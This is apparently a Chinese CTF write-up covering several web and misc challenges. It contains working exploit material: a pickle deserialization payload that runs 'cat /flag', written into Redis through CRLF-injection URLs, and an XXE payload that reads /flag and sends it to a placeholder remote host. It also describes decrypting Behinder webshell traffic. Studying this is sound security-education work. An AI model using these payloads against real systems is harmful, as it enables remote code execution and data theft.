Web
pyssrf
/source路由给了源代码
python
from flask import Flask,request
from redis import Redis
import hashlib
import pickle
import base64
import urllib
app = Flask(__name__)
redis = Redis(host='127.0.0.1', port=6379)
def get_result(url):
url_key=hashlib.md5(url.encode()).hexdigest()
res=redis.get(url_key)
if res:
return pickle.loads(base64.b64decode(res))
else:
try:
print(url)
info = urllib.request.urlopen(url)
res = info.read()
pickres=pickle.dumps(res)
b64res=base64.b64encode(pickres)
redis.set(url_key,b64res,ex=300)
return res
except urllib.error.URLError as e:
print(e)
@app.route('/')
def hello():
url = request.args.get("url")
return '''<h1>give me your url via GET method like: ?url=127.0.0.1:8080<h1>
<h2>Here is your result</h2>
<h3>source code in /source</h3>
%s
''' % get_result('http://'+url).decode(encoding='utf8',errors='ignore')
@app.route('/source')
def source():
return
代码的大致逻辑就是
url接收参数以后,会将其进行md5加密
判断如果该参数md5的值在redis服务里,就会进行反序列化,如果不在就会将其进行base64加密然后保存到redis数据库中
根据题目的描述
嗷,我的上帝,怎么还会有人在用python:3.7.1。flag文件位置:/flag
python 3.7.1的urllib模块存在CRLF头部注入,可以让我们篡改头部信息然后请求内网的redis服务
题目是不出网的,公告说了,但是我没有看见所以测试了半天、
python反序列化-不出网利用报错信息打印到debug调试控制台
python
import pickle
import base64
import os
class Email():
email = "admin@admin.com"
def __reduce__(self):
return (exec,("raise Exception(__import__('os').popen('cat /flag').read())",))
def login():
poc = base64.b64encode(pickle.dumps(Email()))
print(poc)
login()
触发payload如下:
这里存在一个简单的逻辑
我们先将payload的md5通过本地调试获取到,然后直接拿该md5值作为键往里写值
之后直接可以触发成功
python
4893bc358f93c1b839c4cc7bc76c008e
https://prob05-iulwiexe.contest.pku.edu.cn/?url=127.0.0.1:6379?%0D%0Aset%204893bc358f93c1b839c4cc7bc76c008e%20gANjYnVpbHRpbnMKZXhlYwpxAFg7AAAAcmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSlxAYVxAlJxAy4=%0D%0A%3A8081
https://prob05-iulwiexe.contest.pku.edu.cn/?url=127.0.0.1:6379?%0D%0Aset%200a42d54b2752d6abf3ae9afc508a2c01%20gANjYnVpbHRpbnMKZXhlYwpxAFg7AAAAcmFpc2UgRXhjZXB0aW9uKF9faW1wb3J0X18oJ29zJykucG9wZW4oJ2NhdCAvZmxhZycpLnJlYWQoKSlxAYVxAlJxAy4=%0D%0A%3A8081
fileit
先在vps里写入一个123.xml,内容如下:
python
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:8888/?content=%file;'>">
payload如下:
python
<!DOCTYPE convert [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:8989/123.xml">
%remote;%payload;%send;
]>
Misc
f or r (GeekCTF 2024 f and r 原题)
题目提供了一个Windows的补丁
https://imp.ress.me/blog/2024-04-21/geekctf-2024/
根据这段话
使用如下脚本进行操作
python
from ctypes import (windll, wintypes, c_uint64, cast, POINTER, Union, c_ubyte,
LittleEndianStructure, byref, c_size_t)
import zlib
# types and flags
DELTA_FLAG_TYPE = c_uint64
DELTA_FLAG_NONE = 0x00000000
DELTA_APPLY_FLAG_ALLOW_PA19 = 0x00000001
# structures
class DELTA_INPUT(LittleEndianStructure):
class U1(Union):
_fields_ = [('lpcStart', wintypes.LPVOID),
('lpStart', wintypes.LPVOID)]
_anonymous_ = ('u1',)
_fields_ = [('u1', U1),
('uSize', c_size_t),
('Editable', wintypes.BOOL)]
class DELTA_OUTPUT(LittleEndianStructure):
_fields_ = [('lpStart', wintypes.LPVOID),
('uSize', c_size_t)]
# functions
ApplyDeltaB = windll.msdelta.ApplyDeltaB
ApplyDeltaB.argtypes = [DELTA_FLAG_TYPE, DELTA_INPUT, DELTA_INPUT,
POINTER(DELTA_OUTPUT)]
ApplyDeltaB.rettype = wintypes.BOOL
DeltaFree = windll.msdelta.DeltaFree
DeltaFree.argtypes = [wintypes.LPVOID]
DeltaFree.rettype = wintypes.BOOL
gle = windll.kernel32.GetLastError
def apply_patchfile_to_buffer(buf, buflen, patchpath, legacy):
with open(patchpath, 'rb') as patch:
patch_contents = patch.read()
# most (all?) patches (Windows Update MSU) come with a CRC32 prepended to thefile
# we don't really care if it is valid or not, we just need to remove it if itis there
# we only need to calculate if the file starts with PA30 or PA19 and then hasPA30 or PA19 after it
magic = [b"PA30"]
if legacy:
magic.append(b"PA19")
if patch_contents[:4] in magic and patch_contents[4:][:4] in magic:
# we have to validate and strip the crc instead of just stripping it
crc = int.from_bytes(patch_contents[:4], 'little')
if zlib.crc32(patch_contents[4:]) == crc:
# crc is valid, strip it, else don't
patch_contents = patch_contents[4:]
elif patch_contents[4:][:4] in magic:
# validate the header strip the CRC, we don't care about it
patch_contents = patch_contents[4:]
# check if there is just no CRC at all
elif patch_contents[:4] not in magic:
# this just isn't valid
raise Exception("Patch file is invalid")
applyflags = DELTA_APPLY_FLAG_ALLOW_PA19 if legacy else DELTA_FLAG_NONE
dd = DELTA_INPUT()
ds = DELTA_INPUT()
dout = DELTA_OUTPUT()
ds.lpcStart = buf
ds.uSize = buflen
ds.Editable = False
dd.lpcStart = cast(patch_contents, wintypes.LPVOID)
dd.uSize = len(patch_contents)
dd.Editable = False
status = ApplyDeltaB(applyflags, ds, dd, byref(dout))
if status == 0:
raise Exception("Patch {} failed with error {}".format(patchpath, gle()))
return (dout.lpStart, dout.uSize)
if __name__ == '__main__':
import sys
import base64
import hashlib
import argparse
ap = argparse.ArgumentParser()
mode = ap.add_mutually_exclusive_group(required=True)
output = ap.add_mutually_exclusive_group(required=True)
mode.add_argument("-i", "--input-file",
help="File to patch (forward or reverse)")
mode.add_argument("-n", "--null", action="store_true", default=False,
help="Create the output file from a null diff "
"(null diff must be the first one specified)")
output.add_argument("-o", "--output-file",
help="Destination to write patched file to")
output.add_argument("-d", "--dry-run", action="store_true",
help="Don't write patch, just see if it would patch"
"correctly and get the resulting hash")
ap.add_argument("-l", "--legacy", action='store_true', default=False,
help="Let the API use the PA19 legacy API (if required)")
ap.add_argument("patches", nargs='+', help="Patches to apply")
args = ap.parse_args()
if not args.dry_run and not args.output_file:
print("Either specify -d or -o", file=sys.stderr)
ap.print_help()
sys.exit(1)
if args.null:
inbuf = b""
else:
with open(args.input_file, 'rb') as r:
inbuf = r.read()
buf = cast(inbuf, wintypes.LPVOID)
n = len(inbuf)
to_free = []
try:
for patch in args.patches:
buf, n = apply_patchfile_to_buffer(buf, n, patch, args.legacy)
to_free.append(buf)
outbuf = bytes((c_ubyte*n).from_address(buf))
if not args.dry_run:
with open(args.output_file, 'wb') as w:
w.write(outbuf)
finally:
for buf in to_free:
DeltaFree(buf)
finalhash = hashlib.sha256(outbuf)
print("Applied {} patch{} successfully"
.format(len(args.patches), "es" if len(args.patches) > 1 else ""))
print("Final hash: {}"
.format(base64.b64encode(finalhash.digest()).decode()))
必须要从win10系统里的C:\windows\WinSxS文件夹中获取和题目附件一样的目录结果,f和r文件夹,外加一个curl.exe
然后只要将r文件夹中的curl.exe复制到题目的r文件中,f文件夹的不动,再将curl.exe复制到题目文件夹,因为题目文件夹缺少curl.exe,只能借助系统的
python
python3 patch_cu.py -i o_curl.exe -o nnn.exe r\nowrcurl.exe f\curl.exe
最后nnn.exe -V就可以获得flag
easyshell
下载得到数据包,数据包是冰蝎3.x的马
从网上找到了一个解密脚本
https://github.com/melody27/behinder_decrypt
下载下来使用decropt.php -a 进行解密
从中可以获取到temp.zip和secret2.txt
而secret2.txt是temp.zip里面的文件,压缩包密码我们不知道,故猜测是明文攻击
版本为61,那就代表temp.zip压缩包是7z压缩的,那么secret2.txt我们也要用7z进行压缩,之后使用ARP进行明文攻击,就可以得到flag
Gateway
下载附件
根据baseinfoSet.json文件里面的用户名搜索发现是烽火和华为的设备
https://blog.csdn.net/a34141048/article/details/108144839
根据文章所说的意思就是,以&号分割,将每一组数字转成ascii码
最后凯撒解密